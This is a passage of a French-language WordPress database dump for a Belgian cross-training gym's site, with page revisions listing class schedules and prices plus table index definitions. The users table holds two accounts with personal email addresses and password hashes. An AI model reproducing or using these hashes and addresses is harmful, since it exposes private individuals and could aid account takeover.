&lt;/map&gt; \r\n', 'Les séances', '', 'inherit', 'open', 'open', '', '385-revision-v1', '', '', '2013-11-03 10:40:32', '2013-11-03 10:40:32', '', 385, 'http://www2.crosstrainingcenter.be/385-revision-v1/', 0, 'revision', '', 0),
(449, 1, '2013-11-03 10:41:37', '2013-11-03 10:41:37', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;Choix d\'une salle&lt;/h1&gt;\r\n&lt;img class=\&quot;size-full wp-image-446 aligncenter\&quot; alt=\&quot;map\&quot; src=\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map.png\&quot; width=\&quot;300\&quot; height=\&quot;236\&quot; usemap=\&quot;#imagemap\&quot; /&gt;\r\n\r\n                        &lt;map name=\&quot;imagemap\&quot; id=\&quot;Map\&quot;&gt; \r\n                        &lt;area shape=\&quot;namur\&quot; coords=\&quot;90,84,166,108\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances-limelette/\&quot; /&gt; \r\n                        &lt;area shape=\&quot;limelette\&quot; coords=\&quot;174,121,233,132\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances/\&quot; /&gt; \r\n                        &lt;/map&gt; \r\n', 'Les séances', '', 'inherit', 'open', 'open', '', '385-revision-v1', '', '', '2013-11-03 10:41:37', '2013-11-03 10:41:37', '', 385, 'http://www2.crosstrainingcenter.be/385-revision-v1/', 0, 'revision', '', 0),
(452, 1, '2013-11-04 17:06:55', '2013-11-04 17:06:55', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\n&lt;div class=\&quot;sousmenu\&quot;&gt;\n&lt;div align=\&quot;center\&quot;&gt;\n\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances/\&quot;&gt;Namur&lt;/a&gt;\n\n&lt;/div&gt;\n&lt;/div&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\n&lt;div align=\&quot;center\&quot;&gt;\n\nLimelette\n\n&lt;/div&gt;\n&lt;/div&gt;&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&lt;h1&gt;&lt;/h1&gt;\n&lt;h1&gt;Team Training - Limelette :&lt;/h1&gt;\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\n\n&amp;nbsp;\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\nRenforcement musculaire&lt;/td&gt;\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;&lt;/b&gt;18h\nCardio&lt;/td&gt;\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\nCircuit training&lt;/td&gt;\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\nRenforcement musculaire&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\nCircuit training&lt;/td&gt;\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\nRenforcement musculaire&lt;/td&gt;\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\nCardio&lt;/td&gt;\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\nCircuit training&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\nCardio&lt;/td&gt;\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\nCircuit training&lt;/td&gt;\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\nRenforcement musculaire&lt;/td&gt;\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\nCardio&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&amp;nbsp;\n\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\n\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\n\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\n\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\n&lt;h1&gt;&lt;/h1&gt;\n&lt;h2&gt;Duo Training - Limelette :&lt;/h2&gt;\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\nEntrainements à deux personnes sous la supervision d’un coach.\n&lt;h1&gt;&lt;/h1&gt;\n&lt;h2&gt;Personal Training - Limelette :&lt;/h2&gt;\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\nUn coach par personne, l’idéal pour progresser plus rapidement!\n&lt;h1&gt;&lt;/h1&gt;\n&lt;h2&gt;Coaching nutritionnel - Limelette :&lt;/h2&gt;\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\nRendez-vous avec une diététicienne pour améliorer votre santé.\n&lt;h1&gt;&lt;/h1&gt;\n&lt;h2&gt;Prix&lt;/h2&gt;\n&lt;table&gt;\n&lt;tbody&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\n1 carte de 10 séances : 80.00€ (valable 3 mois)\n1 carte de 20 séances : 120.00€ (valable 4 mois)\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\nSuivi 15,00€&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;', 'Les séances - Limelette', '', 'inherit', 'open', 'open', '', '383-autosave-v1', '', '', '2013-11-04 17:06:55', '2013-11-04 17:06:55', '', 383, 'http://www2.crosstrainingcenter.be/383-autosave-v1/', 0, 'revision', '', 0),
(454, 1, '2013-11-04 17:07:15', '2013-11-04 17:07:15', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Limelette :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;&lt;/b&gt;18h\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Limelette', '', 'inherit', 'open', 'open', '', '383-revision-v1', '', '', '2013-11-04 17:07:15', '2013-11-04 17:07:15', '', 383, 'http://www2.crosstrainingcenter.be/383-revision-v1/', 0, 'revision', '', 0);

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(14, 1, 'www_dashboard_quick_press_last_post_id', '357'),
(15, 1, 'managenav-menuscolumnshidden', 'a:4:{i:0;s:11:\&quot;link-target\&quot;;i:1;s:11:\&quot;css-classes\&quot;;i:2;s:3:\&quot;xfn\&quot;;i:3;s:11:\&quot;description\&quot;;}'),
(16, 1, 'metaboxhidden_nav-menus', 'a:2:{i:0;s:8:\&quot;add-post\&quot;;i:1;s:12:\&quot;add-post_tag\&quot;;}'),
(17, 1, 'www_user-settings', 'hidetb=1&amp;libraryContent=upload&amp;editor=html&amp;wplink=1'),
(18, 1, 'www_user-settings-time', '1383585504'),
(19, 1, 'nav_menu_recently_edited', '2'),
(20, 2, 'first_name', 'Julie'),
(21, 2, 'last_name', 'Pierrard'),
(22, 2, 'nickname', 'Julie'),
(23, 2, 'description', ''),
(24, 2, 'rich_editing', 'true'),
(25, 2, 'comment_shortcuts', 'false'),
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(27, 2, 'use_ssl', '0'),
(28, 2, 'show_admin_bar_front', 'true'),
(29, 2, 'www_capabilities', 'a:1:{s:6:\&quot;editor\&quot;;b:1;}'),
(30, 2, 'www_user_level', '7'),
(31, 2, 'dismissed_wp_pointers', 'wp330_toolbar,wp330_saving_widgets,wp340_choose_image_from_library,wp340_customize_current_theme_link,wp350_media'),
(32, 2, 'www_dashboard_quick_press_last_post_id', '355'),
(33, 2, 'www_user-settings', 'editor=tinymce&amp;hidetb=1'),
(34, 2, 'www_user-settings-time', '1377249565');

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(1, 'admin', '$P$BTxsluD39ZNDDlm.YtLuQVMqrm.eH0/', 'admin', 'dpierrard@gmail.com', '', '2013-05-23 18:04:49', '', 0, 'admin'),
(2, 'Julie', '$P$Bt7mKBueNKtwennKgBdPjcBVCcppHC0', 'julie', 'juliepierrard@hotmail.com', '', '2013-08-23 09:08:58', '', 0, 'Julie Pierrard');

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  ADD KEY `comment_author_email` (`comment_author_email`(10));

--
-- Index pour la table `wp_links`
--
ALTER TABLE `wp_links`
  ADD PRIMARY KEY (`link_id`),
  ADD KEY `link_visible` (`link_visible`);

--
-- Index pour la table `wp_options`
--
ALTER TABLE `wp_options`
  ADD PRIMARY KEY (`option_id`),
  ADD UNIQUE KEY `option_name` (`option_name`);

--
-- Index pour la table `wp_postmeta`
--
ALTER TABLE `wp_postmeta`
  ADD PRIMARY KEY (`meta_id`),
  ADD KEY `post_id` (`post_id`),
  ADD KEY `meta_key` (`meta_key`(191));

--
-- Index pour la table `wp_posts`
--
ALTER TABLE `wp_posts`
  ADD PRIMARY KEY (`ID`),
  ADD KEY `type_status_date` (`post_type`,`post_status`,`post_date`,`ID`),
  ADD KEY `post_parent` (`post_parent`),
  ADD KEY `post_author` (`post_author`),
  ADD KEY `post_name` (`post_name`(191));

--
-- Index pour la table `wp_termmeta`
--
ALTER TABLE `wp_termmeta`
  ADD PRIMARY KEY (`meta_id`),
  ADD KEY `term_id` (`term_id`),
  ADD KEY `meta_key` (`meta_key`(191));

--
-- Index pour la table `wp_terms`
--
ALTER TABLE `wp_terms`
  ADD PRIMARY KEY (`term_id`),
  ADD KEY `slug` (`slug`(191)),
  ADD KEY `name` (`name`(191));

--
-- Index pour la table `wp_term_relationships`
--
ALTER TABLE `wp_term_relationships`
  ADD PRIMARY KEY (`object_id`,`term_taxonomy_id`),
  ADD KEY `term_taxonomy_id` (`term_taxonomy_id`);

--
-- Index pour la table `wp_term_taxonomy`
--
ALTER TABLE `wp_term_taxonomy`
  ADD PRIMARY KEY (`term_taxonomy_id`),
  ADD UNIQUE KEY `term_id_taxonomy` (`term_id`,`taxonomy`),
  ADD KEY `taxonomy` (`taxonomy`);

--
-- Index pour la table `wp_usermeta`
--
ALTER TABLE `wp_usermeta`
  ADD PRIMARY KEY (`umeta_id`),
  ADD KEY `user_id` (`user_id`),
  ADD KEY `meta_key` (`meta_key`(191));

--
-- Index pour la table `wp_users`
--
ALTER TABLE `wp_users`
  ADD PRIMARY KEY (`ID`),
  ADD KEY `user_login_key` (`user_login`),
  ADD KEY `user_nicename` (`user_nicename`),
  ADD KEY `user_email` (`user_email`);

--
-- Index pour la table `wp_wfBadLeechers`
--
ALTER TABLE `wp_wfBadLeechers`
  ADD PRIMARY KEY (`eMin`,`IP`);

--
-- Index pour la table `wp_wfBlockedIPLog`
--
ALTER TABLE `wp_wfBlockedIPLog`
  ADD PRIMARY KEY (`IP`,`unixday`);

--
-- Index pour la table `wp_wfBlocks`
--
ALTER TABLE `wp_wfBlocks`
  ADD PRIMARY KEY (`IP`),
  ADD KEY `k1` (`wfsn`);

--
-- Index pour la table `wp_wfBlocksAdv`
--
ALTER TABLE `wp_wfBlocksAdv`
  ADD PRIMARY KEY (`id`);

--
-- Index pour la table `wp_wfConfig`
--
ALTER TABLE `wp_wfConfig`
  ADD PRIMARY KEY (`name`);

--
-- Index pour la table `wp_wfCrawlers`
--
ALTER TABLE `wp_wfCrawlers`
  ADD PRIMARY KEY (`IP`,`patternSig`);

--
-- Index pour la table `wp_wfFileMods`
--
ALTER TABLE `wp_wfFileMods`
  ADD PRIMARY KEY (`filenameMD5`);

--
-- Index pour la table `wp_wfHits`
--
ALTER TABLE `wp_wfHits`
  ADD PRIMARY KEY (`id`),
  ADD KEY `k1` (`ctime`),
  ADD KEY `k2` (`IP`,`ctime`);

--
-- Index pour la table `wp_wfHoover`
--
ALTER TABLE `wp_wfHoover`
  ADD PRIMARY KEY (`id`),
  ADD KEY `k2` (`hostKey`);

--
-- Index pour la table `wp_wfIssues`
--
ALTER TABLE `wp_wfIssues`
  ADD PRIMARY KEY (`id`);

--
-- Index pour la table `wp_wfLeechers`
--
ALTER TABLE `wp_wfLeechers`
  ADD PRIMARY KEY (`eMin`,`IP`);

--
-- Index pour la table `wp_wfLockedOut`
--
ALTER TABLE `wp_wfLockedOut`
  ADD PRIMARY KEY (`IP`);

--
-- Index pour la table `wp_wfLocs`
--
ALTER TABLE `wp_wfLocs`
  ADD PRIMARY KEY (`IP`);

--
-- Index pour la table `wp_wfLogins`
--
ALTER TABLE `wp_wfLogins`
  ADD PRIMARY KEY (`id`),
  ADD KEY `k1` (`IP`,`fail`);

--
-- Index pour la table `wp_wfNet404s`
--
ALTER TABLE `wp_wfNet404s`
  ADD PRIMARY KEY (`sig`),
  ADD KEY `k1` (`ctime`);

--
-- Index pour la table `wp_wfReverseCache`
--
ALTER TABLE `wp_wfReverseCache`
  ADD PRIMARY KEY (`IP`);

--
-- Index pour la table `wp_wfScanners`
--
ALTER TABLE `wp_wfScanners`
  ADD PRIMARY KEY (`eMin`,`IP`);

--
-- Index pour la table `wp_wfStatus`
--
ALTER TABLE `wp_wfStatus`
  ADD PRIMARY KEY (`id`),
  ADD KEY `k1` (`ctime`),
  ADD KEY `k2` (`type`);

--
-- Index pour la table `wp_wfThrottleLog`
--
ALTER TABLE `wp_wfThrottleLog`
  ADD PRIMARY KEY (`IP`),
  ADD KEY `k2` (`endTime`);

--
-- Index pour la table `wp_wfVulnScanners`
--
ALTER TABLE `wp_wfVulnScanners`
  ADD PRIMARY KEY (`IP`);

--
-- Index pour la table `www2_commentmeta`
--
ALTER TABLE `www2_commentmeta`
  ADD PRIMARY KEY (`meta_id`),
  ADD KEY `comment_id` (`comment_id`),
  ADD KEY `meta_key` (`meta_key`);

--
-- Index pour la table `www2_comments`
--
ALTER TABLE `www2_comments`
  ADD PRIMARY KEY (`comment_ID`),
  ADD KEY `comment_post_ID` (`comment_post_ID`),
  ADD KEY `comment_approved_date_gmt` (`comment_approved`,`comment_date_gmt`),
  ADD KEY `comment_date_gmt` (`comment_date_gmt`),
  ADD KEY `comment_parent` (`comment_parent`);

--
-- Index pour la table `www2_duplicator_packages`
--
ALTER TABLE `www2_duplicator_packages`
  ADD PRIMARY KEY (`id`),
  ADD KEY `hash` (`hash`);

--
-- Index pour la table `www2_links`
--
ALTER TABLE `www2_links`
  ADD PRIMARY KEY (`link_id`),
  ADD KEY `link_visible` (`link_visible`);

--
-- Index pour la table `www2_options`
--
ALTER TABLE `www2_options`
  ADD PRIMARY KEY (`option_id`),
  ADD UNIQUE KEY `option_name` (`option_name`);

--
-- Index pour la table `www2_postmeta`
--
ALTER TABLE `www2_postmeta`
  ADD PRIMARY KEY (`meta_id`),
  ADD KEY `post_id` (`post_id`),
  ADD KEY `meta_key` (`meta_key`);

--
-- Index pour la table `www2_posts`
--
ALTER TABLE `www2_posts`
  ADD PRIMARY KEY (`ID`),
  ADD KEY `post_name` (`post_name`),
  ADD KEY `type_status_date` (`post_type`,`post_status`,`post_date`,`ID`),
  ADD KEY `post_parent` (`post_parent`),
  ADD KEY `post_author` (`post_author`);

--
-- Index pour la table `www2_post_relationships`
--
ALTER TABLE `www2_post_relationships`
  ADD PRIMARY KEY (`relate_id`),
  ADD KEY `post_id` (`post_id`),
  ADD KEY `has_post_id` (`has_post_id`);

--
-- Index pour la table `www2_slideshow_plugin`
--
ALTER TABLE `www2_slideshow_plugin`
  ADD UNIQUE KEY `id` (`id`);

--
-- Index pour la table `www2_termmeta`
--
ALTER TABLE `www2_termmeta`
  ADD PRIMARY KEY (`meta_id`),
  ADD KEY `term_id` (`term_id`),
  ADD KEY `meta_key` (`meta_key`);

--
-- Index pour la table `www2_terms`
--
ALTER TABLE `www2_terms`
  ADD PRIMARY KEY (`term_id`),
  ADD UNIQUE KEY `slug` (`slug`),
  ADD KEY `name` (`name`);

--
-- Index pour la table `www2_term_relationships`
--
ALTER TABLE `www2_term_relationships`
  ADD PRIMARY KEY (`object_id`,`term_taxonomy_id`),
  ADD KEY `term_taxonomy_id` (`term_taxonomy_id`);

--
-- Index pour la table `www2_term_taxonomy`
--
ALTER TABLE `www2_term_taxonomy`
  ADD PRIMARY KEY (`term_taxonomy_id`),
  ADD UNIQUE KEY `term_id_taxonomy` (`term_id`,`taxonomy`),
  ADD KEY `taxonomy` (`taxonomy`);

--
-- Index pour la table `www2_usermeta`
--
ALTER TABLE `www2_usermeta`
  ADD PRIMARY KEY (`umeta_id`),
  ADD KEY `user_id` (`user_id`),
  ADD KEY `meta_key` (`meta_key`);

--
-- Index pour la table `www2_users`
--
ALTER TABLE `www2_users`
  ADD PRIMARY KEY (`ID`),
  ADD KEY `user_login_key` (`user_login`),
  ADD KEY `user_nicename` (`user_nicename`);

--
-- Index pour la table `www2_wfBadLeechers`
--
ALTER TABLE `www2_wfBadLeechers`
  ADD PRIMARY KEY (`eMin`,`IP`);

--
-- Index pour la table `www2_wfBlockedIPLog`
--
ALTER TABLE `www2_wfBlockedIPLog`
  ADD PRIMARY KEY (`IP`,`unixday`);

--
-- Index pour la table `www2_wfBlocks`
--
ALTER TABLE `www2_wfBlocks`
  ADD PRIMARY KEY (`IP`),
  ADD KEY `k1` (`wfsn`);

--
-- Index pour la table `www2_wfBlocksAdv`
--
ALTER TABLE `www2_wfBlocksAdv`
  ADD PRIMARY KEY (`id`);

--
-- Index pour la table `www2_wfConfig`
--
ALTER TABLE `www2_wfConfig`
  ADD PRIMARY KEY (`name`);

--
-- Index pour la table `www2_wfCrawlers`
--
ALTER TABLE `www2_wfCrawlers`
  ADD PRIMARY KEY (`IP`,`patternSig`);

--
-- Index pour la table `www2_wfFileMods`
--
ALTER TABLE `www2_wfFileMods`
  ADD PRIMARY KEY (`filenameMD5`);

--
-- Index pour la table `www2_wfHits`
--
ALTER TABLE `www2_wfHits`
  ADD PRIMARY KEY (`id`),
  ADD KEY `k1` (`ctime`),
  ADD KEY `k2` (`IP`,`ctime`);

--
-- Index pour la table `www2_wfHoover`
--
ALTER TABLE `www2_wfHoover`
  ADD PRIMARY KEY (`id`),
  ADD KEY `k2` (`hostKey`);

--
-- Index pour la table `www2_wfIssues`
--
ALTER TABLE `www2_wfIssues`
  ADD PRIMARY KEY (`id`);

--
-- Index pour la table `www2_wfLeechers`
--
